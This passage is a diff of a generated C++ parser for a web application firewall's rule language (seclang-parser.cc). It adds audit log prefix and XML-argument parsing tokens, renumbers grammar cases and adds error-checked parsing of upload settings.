symbol_kind::S_ACTION_CTL_PARSE_XML_INTO_ARGS: // "ACTION_CTL_PARSE_XML_INTO_ARGS" case symbol_kind::S_ACTION_CTL_REQUEST_BODY_ACCESS: // "ACTION_CTL_REQUEST_BODY_ACCESS" case symbol_kind::S_ACTION_CTL_RULE_REMOVE_BY_ID: // "ACTION_CTL_RULE_REMOVE_BY_ID" case symbol_kind::S_ACTION_CTL_RULE_REMOVE_BY_TAG: // "ACTION_CTL_RULE_REMOVE_BY_TAG" @@ -556,6 +561,7 @@ namespace yy { case symbol_kind::S_CONFIG_DIR_AUDIT_LOG2: // "CONFIG_DIR_AUDIT_LOG2" case symbol_kind::S_CONFIG_DIR_AUDIT_LOG_P: // "CONFIG_DIR_AUDIT_LOG_P" case symbol_kind::S_CONFIG_DIR_AUDIT_STS: // "CONFIG_DIR_AUDIT_STS" + case symbol_kind::S_CONFIG_DIR_AUDIT_PREFIX: // "CONFIG_DIR_AUDIT_PREFIX" case symbol_kind::S_CONFIG_DIR_AUDIT_TPE: // "CONFIG_DIR_AUDIT_TPE" case symbol_kind::S_CONFIG_DIR_DEBUG_LOG: // "CONFIG_DIR_DEBUG_LOG" case symbol_kind::S_CONFIG_DIR_DEBUG_LVL: // "CONFIG_DIR_DEBUG_LVL" @@ -612,6 +618,7 @@ namespace yy { case symbol_kind::S_CONFIG_VALUE_ABORT: // "CONFIG_VALUE_ABORT" case symbol_kind::S_CONFIG_VALUE_DETC: // "CONFIG_VALUE_DETC" case symbol_kind::S_CONFIG_VALUE_HTTPS: // "CONFIG_VALUE_HTTPS" + case symbol_kind::S_CONFIG_VALUE_ONLYARGS: // "CONFIG_VALUE_ONLYARGS" case symbol_kind::S_CONFIG_VALUE_OFF: // "CONFIG_VALUE_OFF" case symbol_kind::S_CONFIG_VALUE_ON: // "CONFIG_VALUE_ON" case symbol_kind::S_CONFIG_VALUE_PARALLEL: // "CONFIG_VALUE_PARALLEL" @@ -621,6 +628,7 @@ namespace yy { case symbol_kind::S_CONFIG_VALUE_SERIAL: // "CONFIG_VALUE_SERIAL" case symbol_kind::S_CONFIG_VALUE_WARN: // "CONFIG_VALUE_WARN" case symbol_kind::S_CONFIG_XML_EXTERNAL_ENTITY: // "CONFIG_XML_EXTERNAL_ENTITY" + case symbol_kind::S_CONFIG_XML_PARSE_XML_INTO_ARGS: // "CONFIG_XML_PARSE_XML_INTO_ARGS" case symbol_kind::S_CONGIG_DIR_RESPONSE_BODY_MP: // "CONGIG_DIR_RESPONSE_BODY_MP" case symbol_kind::S_CONGIG_DIR_SEC_ARG_SEP: // "CONGIG_DIR_SEC_ARG_SEP" case symbol_kind::S_CONGIG_DIR_SEC_COOKIE_FORMAT: // "CONGIG_DIR_SEC_COOKIE_FORMAT" @@ -711,6 +719,7 @@ namespace yy { case symbol_kind::S_ACTION_CTL_BDY_XML: // "ACTION_CTL_BDY_XML" case symbol_kind::S_ACTION_CTL_BDY_URLENCODED: // "ACTION_CTL_BDY_URLENCODED" case symbol_kind::S_ACTION_CTL_FORCE_REQ_BODY_VAR: // "ACTION_CTL_FORCE_REQ_BODY_VAR" + case symbol_kind::S_ACTION_CTL_PARSE_XML_INTO_ARGS: // "ACTION_CTL_PARSE_XML_INTO_ARGS" case symbol_kind::S_ACTION_CTL_REQUEST_BODY_ACCESS: // "ACTION_CTL_REQUEST_BODY_ACCESS" case symbol_kind::S_ACTION_CTL_RULE_REMOVE_BY_ID: // "ACTION_CTL_RULE_REMOVE_BY_ID" case symbol_kind::S_ACTION_CTL_RULE_REMOVE_BY_TAG: // "ACTION_CTL_RULE_REMOVE_BY_TAG" @@ -802,6 +811,7 @@ namespace yy { case symbol_kind::S_CONFIG_DIR_AUDIT_LOG2: // "CONFIG_DIR_AUDIT_LOG2" case symbol_kind::S_CONFIG_DIR_AUDIT_LOG_P: // "CONFIG_DIR_AUDIT_LOG_P" case symbol_kind::S_CONFIG_DIR_AUDIT_STS: // "CONFIG_DIR_AUDIT_STS" + case symbol_kind::S_CONFIG_DIR_AUDIT_PREFIX: // "CONFIG_DIR_AUDIT_PREFIX" case symbol_kind::S_CONFIG_DIR_AUDIT_TPE: // "CONFIG_DIR_AUDIT_TPE" case symbol_kind::S_CONFIG_DIR_DEBUG_LOG: // "CONFIG_DIR_DEBUG_LOG" case symbol_kind::S_CONFIG_DIR_DEBUG_LVL: // "CONFIG_DIR_DEBUG_LVL" @@ -858,6 +868,7 @@ namespace yy { case symbol_kind::S_CONFIG_VALUE_ABORT: // "CONFIG_VALUE_ABORT" case symbol_kind::S_CONFIG_VALUE_DETC: // "CONFIG_VALUE_DETC" case symbol_kind::S_CONFIG_VALUE_HTTPS: // "CONFIG_VALUE_HTTPS" + case symbol_kind::S_CONFIG_VALUE_ONLYARGS: // "CONFIG_VALUE_ONLYARGS" case symbol_kind::S_CONFIG_VALUE_OFF: // "CONFIG_VALUE_OFF" case symbol_kind::S_CONFIG_VALUE_ON: // "CONFIG_VALUE_ON" case symbol_kind::S_CONFIG_VALUE_PARALLEL: // "CONFIG_VALUE_PARALLEL" @@ -867,6 +878,7 @@ namespace yy { case symbol_kind::S_CONFIG_VALUE_SERIAL: // "CONFIG_VALUE_SERIAL" case symbol_kind::S_CONFIG_VALUE_WARN: // "CONFIG_VALUE_WARN" case symbol_kind::S_CONFIG_XML_EXTERNAL_ENTITY: // "CONFIG_XML_EXTERNAL_ENTITY" + case symbol_kind::S_CONFIG_XML_PARSE_XML_INTO_ARGS: // "CONFIG_XML_PARSE_XML_INTO_ARGS" case symbol_kind::S_CONGIG_DIR_RESPONSE_BODY_MP: // "CONGIG_DIR_RESPONSE_BODY_MP" case symbol_kind::S_CONGIG_DIR_SEC_ARG_SEP: // "CONGIG_DIR_SEC_ARG_SEP" case symbol_kind::S_CONGIG_DIR_SEC_COOKIE_FORMAT: // "CONGIG_DIR_SEC_COOKIE_FORMAT" @@ -956,6 +968,7 @@ namespace yy { case symbol_kind::S_ACTION_CTL_BDY_XML: // "ACTION_CTL_BDY_XML" case symbol_kind::S_ACTION_CTL_BDY_URLENCODED: // "ACTION_CTL_BDY_URLENCODED" case symbol_kind::S_ACTION_CTL_FORCE_REQ_BODY_VAR: // "ACTION_CTL_FORCE_REQ_BODY_VAR" + case symbol_kind::S_ACTION_CTL_PARSE_XML_INTO_ARGS: // "ACTION_CTL_PARSE_XML_INTO_ARGS" case symbol_kind::S_ACTION_CTL_REQUEST_BODY_ACCESS: // "ACTION_CTL_REQUEST_BODY_ACCESS" case symbol_kind::S_ACTION_CTL_RULE_REMOVE_BY_ID: // "ACTION_CTL_RULE_REMOVE_BY_ID" case symbol_kind::S_ACTION_CTL_RULE_REMOVE_BY_TAG: // "ACTION_CTL_RULE_REMOVE_BY_TAG" @@ -1047,6 +1060,7 @@ namespace yy { case symbol_kind::S_CONFIG_DIR_AUDIT_LOG2: // "CONFIG_DIR_AUDIT_LOG2" case symbol_kind::S_CONFIG_DIR_AUDIT_LOG_P: // "CONFIG_DIR_AUDIT_LOG_P" case symbol_kind::S_CONFIG_DIR_AUDIT_STS: // "CONFIG_DIR_AUDIT_STS" + case symbol_kind::S_CONFIG_DIR_AUDIT_PREFIX: // "CONFIG_DIR_AUDIT_PREFIX" case symbol_kind::S_CONFIG_DIR_AUDIT_TPE: // "CONFIG_DIR_AUDIT_TPE" case symbol_kind::S_CONFIG_DIR_DEBUG_LOG: // "CONFIG_DIR_DEBUG_LOG" case symbol_kind::S_CONFIG_DIR_DEBUG_LVL: // "CONFIG_DIR_DEBUG_LVL" @@ -1103,6 +1117,7 @@ namespace yy { case symbol_kind::S_CONFIG_VALUE_ABORT: // "CONFIG_VALUE_ABORT" case symbol_kind::S_CONFIG_VALUE_DETC: // "CONFIG_VALUE_DETC" case symbol_kind::S_CONFIG_VALUE_HTTPS: // "CONFIG_VALUE_HTTPS" + case symbol_kind::S_CONFIG_VALUE_ONLYARGS: // "CONFIG_VALUE_ONLYARGS" case symbol_kind::S_CONFIG_VALUE_OFF: // "CONFIG_VALUE_OFF" case symbol_kind::S_CONFIG_VALUE_ON: // "CONFIG_VALUE_ON" case symbol_kind::S_CONFIG_VALUE_PARALLEL: // "CONFIG_VALUE_PARALLEL" @@ -1112,6 +1127,7 @@ namespace yy { case symbol_kind::S_CONFIG_VALUE_SERIAL: // "CONFIG_VALUE_SERIAL" case symbol_kind::S_CONFIG_VALUE_WARN: // "CONFIG_VALUE_WARN" case symbol_kind::S_CONFIG_XML_EXTERNAL_ENTITY: // "CONFIG_XML_EXTERNAL_ENTITY" + case symbol_kind::S_CONFIG_XML_PARSE_XML_INTO_ARGS: // "CONFIG_XML_PARSE_XML_INTO_ARGS" case symbol_kind::S_CONGIG_DIR_RESPONSE_BODY_MP: // "CONGIG_DIR_RESPONSE_BODY_MP" case symbol_kind::S_CONGIG_DIR_SEC_ARG_SEP: // "CONGIG_DIR_SEC_ARG_SEP" case symbol_kind::S_CONGIG_DIR_SEC_COOKIE_FORMAT: // "CONGIG_DIR_SEC_COOKIE_FORMAT" @@ -1322,14 +1338,14 @@ namespace yy { // User initialization code. -#line 322 "seclang-parser.yy" +#line 327 "seclang-parser.yy" { // Initialize the initial location. driver.m_filenames.push_back(driver.file); yyla.location.begin.filename = yyla.location.end.filename = &(driver.m_filenames.back()); } -#line 1333 "seclang-parser.cc" +#line 1349 "seclang-parser.cc" /* Initialize the stack. The initial state will be set in @@ -1457,6 +1473,7 @@ namespace yy { case symbol_kind::S_ACTION_CTL_BDY_XML: // "ACTION_CTL_BDY_XML" case symbol_kind::S_ACTION_CTL_BDY_URLENCODED: // "ACTION_CTL_BDY_URLENCODED" case symbol_kind::S_ACTION_CTL_FORCE_REQ_BODY_VAR: // "ACTION_CTL_FORCE_REQ_BODY_VAR" + case symbol_kind::S_ACTION_CTL_PARSE_XML_INTO_ARGS: // "ACTION_CTL_PARSE_XML_INTO_ARGS" case symbol_kind::S_ACTION_CTL_REQUEST_BODY_ACCESS: // "ACTION_CTL_REQUEST_BODY_ACCESS" case symbol_kind::S_ACTION_CTL_RULE_REMOVE_BY_ID: // "ACTION_CTL_RULE_REMOVE_BY_ID" case symbol_kind::S_ACTION_CTL_RULE_REMOVE_BY_TAG: // "ACTION_CTL_RULE_REMOVE_BY_TAG" @@ -1548,6 +1565,7 @@ namespace yy { case symbol_kind::S_CONFIG_DIR_AUDIT_LOG2: // "CONFIG_DIR_AUDIT_LOG2" case symbol_kind::S_CONFIG_DIR_AUDIT_LOG_P: // "CONFIG_DIR_AUDIT_LOG_P" case symbol_kind::S_CONFIG_DIR_AUDIT_STS: // "CONFIG_DIR_AUDIT_STS" + case symbol_kind::S_CONFIG_DIR_AUDIT_PREFIX: // "CONFIG_DIR_AUDIT_PREFIX" case symbol_kind::S_CONFIG_DIR_AUDIT_TPE: // "CONFIG_DIR_AUDIT_TPE" case symbol_kind::S_CONFIG_DIR_DEBUG_LOG: // "CONFIG_DIR_DEBUG_LOG" case symbol_kind::S_CONFIG_DIR_DEBUG_LVL: // "CONFIG_DIR_DEBUG_LVL" @@ -1604,6 +1622,7 @@ namespace yy { case symbol_kind::S_CONFIG_VALUE_ABORT: // "CONFIG_VALUE_ABORT" case symbol_kind::S_CONFIG_VALUE_DETC: // "CONFIG_VALUE_DETC" case symbol_kind::S_CONFIG_VALUE_HTTPS: // "CONFIG_VALUE_HTTPS" + case symbol_kind::S_CONFIG_VALUE_ONLYARGS: // "CONFIG_VALUE_ONLYARGS" case symbol_kind::S_CONFIG_VALUE_OFF: // "CONFIG_VALUE_OFF" case symbol_kind::S_CONFIG_VALUE_ON: // "CONFIG_VALUE_ON" case symbol_kind::S_CONFIG_VALUE_PARALLEL: // "CONFIG_VALUE_PARALLEL" @@ -1613,6 +1632,7 @@ namespace yy { case symbol_kind::S_CONFIG_VALUE_SERIAL: // "CONFIG_VALUE_SERIAL" case symbol_kind::S_CONFIG_VALUE_WARN: // "CONFIG_VALUE_WARN" case symbol_kind::S_CONFIG_XML_EXTERNAL_ENTITY: // "CONFIG_XML_EXTERNAL_ENTITY" + case symbol_kind::S_CONFIG_XML_PARSE_XML_INTO_ARGS: // "CONFIG_XML_PARSE_XML_INTO_ARGS" case symbol_kind::S_CONGIG_DIR_RESPONSE_BODY_MP: // "CONGIG_DIR_RESPONSE_BODY_MP" case symbol_kind::S_CONGIG_DIR_SEC_ARG_SEP: // "CONGIG_DIR_SEC_ARG_SEP" case symbol_kind::S_CONGIG_DIR_SEC_COOKIE_FORMAT: // "CONGIG_DIR_SEC_COOKIE_FORMAT" @@ -1696,241 +1716,256 @@ namespace yy { switch (yyn) { case 2: // input: "end of file" -#line 721 "seclang-parser.yy" +#line 743 "seclang-parser.yy" { return 0; } -#line 1704 "seclang-parser.cc" +#line 1724 "seclang-parser.cc" break; case 6: // audit_log: "CONFIG_DIR_AUDIT_DIR_MOD" -#line 734 "seclang-parser.yy" +#line 756 "seclang-parser.yy" { driver.m_auditLog->setStorageDirMode(strtol(yystack_[0].value.as < std::string > ().c_str(), NULL, 8)); } -#line 1712 "seclang-parser.cc" +#line 1732 "seclang-parser.cc" break; case 7: // audit_log: "CONFIG_DIR_AUDIT_DIR" -#line 740 "seclang-parser.yy" +#line 762 "seclang-parser.yy" { driver.m_auditLog->setStorageDir(yystack_[0].value.as < std::string > ()); } -#line 1720 "seclang-parser.cc" +#line 1740 "seclang-parser.cc" break; case 8: // audit_log: "CONFIG_DIR_AUDIT_ENG" "CONFIG_VALUE_RELEVANT_ONLY" -#line 746 "seclang-parser.yy" +#line 768 "seclang-parser.yy" { driver.m_auditLog->setStatus(modsecurity::audit_log::AuditLog::RelevantOnlyAuditLogStatus); } -#line 1728 "seclang-parser.cc" +#line 1748 "seclang-parser.cc" break; case 9: // audit_log: "CONFIG_DIR_AUDIT_ENG" "CONFIG_VALUE_OFF" -#line 750 "seclang-parser.yy" +#line 772 "seclang-parser.yy" { driver.m_auditLog->setStatus(modsecurity::audit_log::AuditLog::OffAuditLogStatus); } -#line 1736 "seclang-parser.cc" +#line 1756 "seclang-parser.cc" break; case 10: // audit_log: "CONFIG_DIR_AUDIT_ENG" "CONFIG_VALUE_ON" -#line 754 "seclang-parser.yy" +#line 776 "seclang-parser.yy" { driver.m_auditLog->setStatus(modsecurity::audit_log::AuditLog::OnAuditLogStatus); } -#line 1744 "seclang-parser.cc" +#line 1764 "seclang-parser.cc" break; case 11: // audit_log: "CONFIG_DIR_AUDIT_FLE_MOD" -#line 760 "seclang-parser.yy" +#line 782 "seclang-parser.yy" { driver.m_auditLog->setFileMode(strtol(yystack_[0].value.as < std::string > ().c_str(), NULL, 8)); } -#line 1752 "seclang-parser.cc" +#line 1772 "seclang-parser.cc" break; case 12: // audit_log: "CONFIG_DIR_AUDIT_LOG2" -#line 766 "seclang-parser.yy" +#line 788 "seclang-parser.yy" { driver.m_auditLog->setFilePath2(yystack_[0].value.as < std::string > ()); } -#line 1760 "seclang-parser.cc" +#line 1780 "seclang-parser.cc" break; case 13: // audit_log: "CONFIG_DIR_AUDIT_LOG_P" -#line 772 "seclang-parser.yy" +#line 794 "seclang-parser.yy" { driver.m_auditLog->setParts(yystack_[0].value.as < std::string > ()); } -#line 1768 "seclang-parser.cc" +#line 1788 "seclang-parser.cc" break; case 14: // audit_log: "CONFIG_DIR_AUDIT_LOG" -#line 778 "seclang-parser.yy" +#line 800 "seclang-parser.yy" { driver.m_auditLog->setFilePath1(yystack_[0].value.as < std::string > ()); } -#line 1776 "seclang-parser.cc" +#line 1796 "seclang-parser.cc" break; case 15: // audit_log: CONFIG_DIR_AUDIT_LOG_FMT JSON -#line 783 "seclang-parser.yy" +#line 805 "seclang-parser.yy" { driver.m_auditLog->setFormat(modsecurity::audit_log::AuditLog::JSONAuditLogFormat); } -#line 1784 "seclang-parser.cc" +#line 1804 "seclang-parser.cc" break; case 16: // audit_log: CONFIG_DIR_AUDIT_LOG_FMT NATIVE -#line 788 "seclang-parser.yy" +#line 810 "seclang-parser.yy" { driver.m_auditLog->setFormat(modsecurity::audit_log::AuditLog::NativeAuditLogFormat); } -#line 1792 "seclang-parser.cc" +#line 1812 "seclang-parser.cc" break; case 17: // audit_log: "CONFIG_DIR_AUDIT_STS" -#line 794 "seclang-parser.yy" +#line 816 "seclang-parser.yy" { std::string relevant_status(yystack_[0].value.as < std::string > ()); driver.m_auditLog->setRelevantStatus(relevant_status); } -#line 1801 "seclang-parser.cc" +#line 1821 "seclang-parser.cc" + break; + + case 18: // audit_log: "CONFIG_DIR_AUDIT_PREFIX" +#line 823 "seclang-parser.yy" + { + std::string prefix(yystack_[0].value.as < std::string > ()); + driver.m_auditLog->setPrefix(prefix); + } +#line 1830 "seclang-parser.cc" break; - case 18: // audit_log: "CONFIG_DIR_AUDIT_TPE" "CONFIG_VALUE_SERIAL" -#line 801 "seclang-parser.yy" + case 19: // audit_log: "CONFIG_DIR_AUDIT_TPE" "CONFIG_VALUE_SERIAL" +#line 830 "seclang-parser.yy" { driver.m_auditLog->setType(modsecurity::audit_log::AuditLog::SerialAuditLogType); } -#line 1809 "seclang-parser.cc" +#line 1838 "seclang-parser.cc" break; - case 19: // audit_log: "CONFIG_DIR_AUDIT_TPE" "CONFIG_VALUE_PARALLEL" -#line 805 "seclang-parser.yy" + case 20: // audit_log: "CONFIG_DIR_AUDIT_TPE" "CONFIG_VALUE_PARALLEL" +#line 834 "seclang-parser.yy" { driver.m_auditLog->setType(modsecurity::audit_log::AuditLog::ParallelAuditLogType); } -#line 1817 "seclang-parser.cc" +#line 1846 "seclang-parser.cc" break; - case 20: // audit_log: "CONFIG_DIR_AUDIT_TPE" "CONFIG_VALUE_HTTPS" -#line 809 "seclang-parser.yy" + case 21: // audit_log: "CONFIG_DIR_AUDIT_TPE" "CONFIG_VALUE_HTTPS" +#line 838 "seclang-parser.yy" { driver.m_auditLog->setType(modsecurity::audit_log::AuditLog::HttpsAuditLogType); } -#line 1825 "seclang-parser.cc" +#line 1854 "seclang-parser.cc" break; - case 21: // audit_log: "CONFIG_UPDLOAD_KEEP_FILES" "CONFIG_VALUE_ON" -#line 815 "seclang-parser.yy" + case 22: // audit_log: "CONFIG_UPDLOAD_KEEP_FILES" "CONFIG_VALUE_ON" +#line 844 "seclang-parser.yy" { driver.m_uploadKeepFiles = modsecurity::RulesSetProperties::TrueConfigBoolean; } -#line 1833 "seclang-parser.cc" +#line 1862 "seclang-parser.cc" break; - case 22: // audit_log: "CONFIG_UPDLOAD_KEEP_FILES" "CONFIG_VALUE_OFF" -#line 819 "seclang-parser.yy" + case 23: // audit_log: "CONFIG_UPDLOAD_KEEP_FILES" "CONFIG_VALUE_OFF" +#line 848 "seclang-parser.yy" { driver.m_uploadKeepFiles = modsecurity::RulesSetProperties::FalseConfigBoolean; } -#line 1841 "seclang-parser.cc" +#line 1870 "seclang-parser.cc" break; - case 23: // audit_log: "CONFIG_UPDLOAD_KEEP_FILES" "CONFIG_VALUE_RELEVANT_ONLY" -#line 823 "seclang-parser.yy" + case 24: // audit_log: "CONFIG_UPDLOAD_KEEP_FILES" "CONFIG_VALUE_RELEVANT_ONLY" +#line 852 "seclang-parser.yy" { driver.error(yystack_[2].location, "SecUploadKeepFiles RelevantOnly is not currently supported. Accepted values are On or Off"); YYERROR; } -#line 1850 "seclang-parser.cc" +#line 1879 "seclang-parser.cc" break; - case 24: // audit_log: "CONFIG_UPLOAD_FILE_LIMIT" -#line 828 "seclang-parser.yy" + case 25: // audit_log: "CONFIG_UPLOAD_FILE_LIMIT" +#line 857 "seclang-parser.yy" { - driver.m_uploadFileLimit.m_set = true; - driver.m_uploadFileLimit.m_value = strtol(yystack_[0].value.as < std::string > ().c_str(), NULL, 10); + std::string errmsg = ""; + if (driver.m_uploadFileLimit.parse(std::string(yystack_[0].value.as < std::string > ()), &errmsg) != true) { + driver.error(yystack_[1].location, "Failed to parse SecUploadFileLimit: " + errmsg); + YYERROR; + } } -#line 1859 "seclang-parser.cc" +#line 1891 "seclang-parser.cc" break; - case 25: // audit_log: "CONFIG_UPLOAD_FILE_MODE" -#line 833 "seclang-parser.yy" + case 26: // audit_log: "CONFIG_UPLOAD_FILE_MODE" +#line 865 "seclang-parser.yy" { - driver.m_uploadFileMode.m_set = true; - driver.m_uploadFileMode.m_value = strtol(yystack_[0].value.as < std::string > ().c_str(), NULL, 8); + std::string errmsg = ""; + if (driver.m_uploadFileMode.parse(std::string(yystack_[0].value.as < std::string > ()), &errmsg) != true) { + driver.error(yystack_[1].location, "Failed to parse SecUploadFileMode: " + errmsg); + YYERROR; + } } -#line 1868 "seclang-parser.cc" +#line 1903 "seclang-parser.cc" break; - case 26: // audit_log: "CONFIG_UPLOAD_DIR" -#line 838 "seclang-parser.yy" + case 27: // audit_log: "CONFIG_UPLOAD_DIR" +#line 873 "seclang-parser.yy" { driver.m_uploadDirectory.m_set = true; driver.m_uploadDirectory.m_value = yystack_[0].value.as < std::string > (); } -#line 1877 "seclang-parser.cc" +#line 1912 "seclang-parser.cc" break; - case 27: // audit_log: "CONFIG_UPDLOAD_SAVE_TMP_FILES" "CONFIG_VALUE_ON" -#line 843 "seclang-parser.yy" + case 28: // audit_log: "CONFIG_UPDLOAD_SAVE_TMP_FILES" "CONFIG_VALUE_ON" +#line 878 "seclang-parser.yy" { driver.m_tmpSaveUploadedFiles = modsecurity::RulesSetProperties::TrueConfigBoolean; } -#line 1885 "seclang-parser.cc" +#line 1920 "seclang-parser.cc" break; - case 28: // audit_log: "CONFIG_UPDLOAD_SAVE_TMP_FILES" "CONFIG_VALUE_OFF" -#line 847 "seclang-parser.yy" + case 29: // audit_log: "CONFIG_UPDLOAD_SAVE_TMP_FILES" "CONFIG_VALUE_OFF" +#line 882 "seclang-parser.yy" { driver.m_tmpSaveUploadedFiles = modsecurity::RulesSetProperties::FalseConfigBoolean; } -#line 1893 "seclang-parser.cc" +#line 1928 "seclang-parser.cc" break; - case 29: // actions: "QUOTATION_MARK" actions_may_quoted "QUOTATION_MARK" -#line 854 "seclang-parser.yy" + case 30: // actions: "QUOTATION_MARK" actions_may_quoted "QUOTATION_MARK" +#line 889 "seclang-parser.yy" { yylhs.value.as < std::unique_ptr > > > () = std::move(yystack_[1].value.as < std::unique_ptr > > > ()); } -#line 1901 "seclang-parser.cc" +#line 1936 "seclang-parser.cc" break; - case 30: // actions: actions_may_quoted -#line 858 "seclang-parser.yy" + case 31: // actions: actions_may_quoted +#line 893 "seclang-parser.yy" { yylhs.value.as < std::unique_ptr > > > () = std::move(yystack_[0].value.as < std::unique_ptr > > > ()); } -#line 1909 "seclang-parser.cc" +#line 1944 "seclang-parser.cc" break; - case 31: // actions_may_quoted: actions_may_quoted "," act -#line 865 "seclang-parser.yy" + case 32: // actions_may_quoted: actions_may_quoted "," act +#line 900 "seclang-parser.yy" { ACTION_INIT(yystack_[0].value.as < std::unique_ptr > (), yystack_[3].location) yystack_[2].value.as < std::unique_ptr > > > ()->push_back(std::move(yystack_[0].value.as < std::unique_ptr > ())); yylhs.value.as < std::unique_ptr > > > () = std::move(yystack_[2].value.as < std::unique_ptr > > > ()); } -#line 1919 "seclang-parser.cc" +#line 1954 "seclang-parser.cc" break; - case 32: // actions_may_quoted: act -#line 871 "seclang-parser.yy" + case 33: // actions_may_quoted: act +#line 906 "seclang-parser.yy" { std::unique_ptr>> b(new std::vector>()); ACTION_INIT(yystack_[0].value.as < std::unique_ptr > (), yystack_[1].location) b->push_back(std::move(yystack_[0].value.as < std::unique_ptr > ())); yylhs.value.as < std::unique_ptr > > > () = std::move(b); } -#line 1930 "seclang-parser.cc" +#line 1965 "seclang-parser.cc" break; - case 33: // op: op_before_init -#line 881 "seclang-parser.yy" + case 34: // op: op_before_init +#line 916 "seclang-parser.yy" { yylhs.value.as < std::unique_ptr > () = std::move(yystack_[0].value.as < std::unique_ptr > ()); std::string error; @@ -1939,11 +1974,11 @@ namespace yy { YYERROR; } } -#line 1943 "seclang-parser.cc" +#line 1978 "seclang-parser.cc" break; - case 34: // op: "NOT" op_before_init -#line 890 "seclang-parser.yy" + case 35: // op: "NOT" op_before_init +#line 925 "seclang-parser.yy" { yylhs.value.as < std::unique_ptr > () = std::move(yystack_[0].value.as < std::unique_ptr > ()); yylhs.value.as < std::unique_ptr > ()->m_negation = true; @@ -1953,11 +1988,11 @@ namespace yy { YYERROR; } } -#line 1957 "seclang-parser.cc" +#line 1992 "seclang-parser.cc" break; - case 35: // op: run_time_string -#line 900 "seclang-parser.yy" + case 36: // op: run_time_string +#line 935 "seclang-parser.yy" { OPERATOR_CONTAINER(yylhs.value.as < std::unique_ptr > (), new operators::Rx(std::move(yystack_[0].value.as < std::unique_ptr > ()))); std::string error; @@ -1966,11 +2001,11 @@ namespace yy { YYERROR; } } -#line 1970 "seclang-parser.cc" +#line 2005 "seclang-parser.cc" break; - case 36: // op: "NOT" run_time_string -#line 909 "seclang-parser.yy" + case 37: // op: "NOT" run_time_string +#line 944 "seclang-parser.yy" { OPERATOR_CONTAINER(yylhs.value.as < std::unique_ptr > (), new operators::Rx(std::move(yystack_[0].value.as < std::unique_ptr > ()))); yylhs.value.as < std::unique_ptr > ()->m_negation = true; @@ -1980,302 +2015,302 @@ namespace yy { YYERROR; } } -#line 1984 "seclang-parser.cc" +#line 2019 "seclang-parser.cc" break; - case 37: // op_before_init: "OPERATOR_UNCONDITIONAL_MATCH" -#line 922 "seclang-parser.yy" + case 38: // op_before_init: "OPERATOR_UNCONDITIONAL_MATCH" +#line 957 "seclang-parser.yy" { OPERATOR_CONTAINER(yylhs.value.as < std::unique_ptr > (), new operators::UnconditionalMatch()); } -#line 1992 "seclang-parser.cc" +#line 2027 "seclang-parser.cc" break; - case 38: // op_before_init: "OPERATOR_DETECT_SQLI" -#line 926 "seclang-parser.yy" + case 39: // op_before_init: "OPERATOR_DETECT_SQLI" +#line 961 "seclang-parser.yy" { OPERATOR_CONTAINER(yylhs.value.as < std::unique_ptr > (), new operators::DetectSQLi()); } -#line 2000 "seclang-parser.cc" +#line 2035 "seclang-parser.cc" break; - case 39: // op_before_init: "OPERATOR_DETECT_XSS" -#line 930 "seclang-parser.yy" + case 40: // op_before_init: "OPERATOR_DETECT_XSS" +#line 965 "seclang-parser.yy" { OPERATOR_CONTAINER(yylhs.value.as < std::unique_ptr > (), new operators::DetectXSS()); } -#line 2008 "seclang-parser.cc" +#line 2043 "seclang-parser.cc" break; - case 40: // op_before_init: "OPERATOR_VALIDATE_URL_ENCODING" -#line 934 "seclang-parser.yy" + case 41: // op_before_init: "OPERATOR_VALIDATE_URL_ENCODING" +#line 969 "seclang-parser.yy" { OPERATOR_CONTAINER(yylhs.value.as < std::unique_ptr > (), new operators::ValidateUrlEncoding()); } -#line 2016 "seclang-parser.cc" +#line 2051 "seclang-parser.cc" break; - case 41: // op_before_init: "OPERATOR_VALIDATE_UTF8_ENCODING" -#line 938 "seclang-parser.yy" + case 42: // op_before_init: "OPERATOR_VALIDATE_UTF8_ENCODING" +#line 973 "seclang-parser.yy" { OPERATOR_CONTAINER(yylhs.value.as < std::unique_ptr > (), new operators::ValidateUtf8Encoding()); } -#line 2024 "seclang-parser.cc" +#line 2059 "seclang-parser.cc" break; - case 42: // op_before_init: "OPERATOR_INSPECT_FILE" run_time_string -#line 942 "seclang-parser.yy" + case 43: // op_before_init: "OPERATOR_INSPECT_FILE" run_time_string +#line 977 "seclang-parser.yy" { OPERATOR_CONTAINER(yylhs.value.as < std::unique_ptr > (), new operators::InspectFile(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 2032 "seclang-parser.cc" +#line 2067 "seclang-parser.cc" break; - case 43: // op_before_init: "OPERATOR_FUZZY_HASH" run_time_string -#line 946 "seclang-parser.yy" + case 44: // op_before_init: "OPERATOR_FUZZY_HASH" run_time_string +#line 981 "seclang-parser.yy" { OPERATOR_CONTAINER(yylhs.value.as < std::unique_ptr > (), new operators::FuzzyHash(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 2040 "seclang-parser.cc" +#line 2075 "seclang-parser.cc" break; - case 44: // op_before_init: "OPERATOR_VALIDATE_BYTE_RANGE" run_time_string -#line 950 "seclang-parser.yy" + case 45: // op_before_init: "OPERATOR_VALIDATE_BYTE_RANGE" run_time_string +#line 985 "seclang-parser.yy" { OPERATOR_CONTAINER(yylhs.value.as < std::unique_ptr > (), new operators::ValidateByteRange(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 2048 "seclang-parser.cc" +#line 2083 "seclang-parser.cc" break; - case 45: // op_before_init: "OPERATOR_VALIDATE_DTD" run_time_string -#line 954 "seclang-parser.yy" + case 46: // op_before_init: "OPERATOR_VALIDATE_DTD" run_time_string +#line 989 "seclang-parser.yy" { OPERATOR_CONTAINER(yylhs.value.as < std::unique_ptr > (), new operators::ValidateDTD(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 2056 "seclang-parser.cc" +#line 2091 "seclang-parser.cc" break; - case 46: // op_before_init: "OPERATOR_VALIDATE_HASH" run_time_string -#line 958 "seclang-parser.yy" + case 47: // op_before_init: "OPERATOR_VALIDATE_HASH" run_time_string +#line 993 "seclang-parser.yy" { /* $$ = new operators::ValidateHash($1); */ OPERATOR_NOT_SUPPORTED("ValidateHash", yystack_[2].location); } -#line 2065 "seclang-parser.cc" +#line 2100 "seclang-parser.cc" break; - case 47: // op_before_init: "OPERATOR_VALIDATE_SCHEMA" run_time_string -#line 963 "seclang-parser.yy" + case 48: // op_before_init: "OPERATOR_VALIDATE_SCHEMA" run_time_string +#line 998 "seclang-parser.yy" { OPERATOR_CONTAINER(yylhs.value.as < std::unique_ptr > (), new operators::ValidateSchema(std::move(yystack_[0].value.as < std::unique_ptr > ()))); } -#line 2073 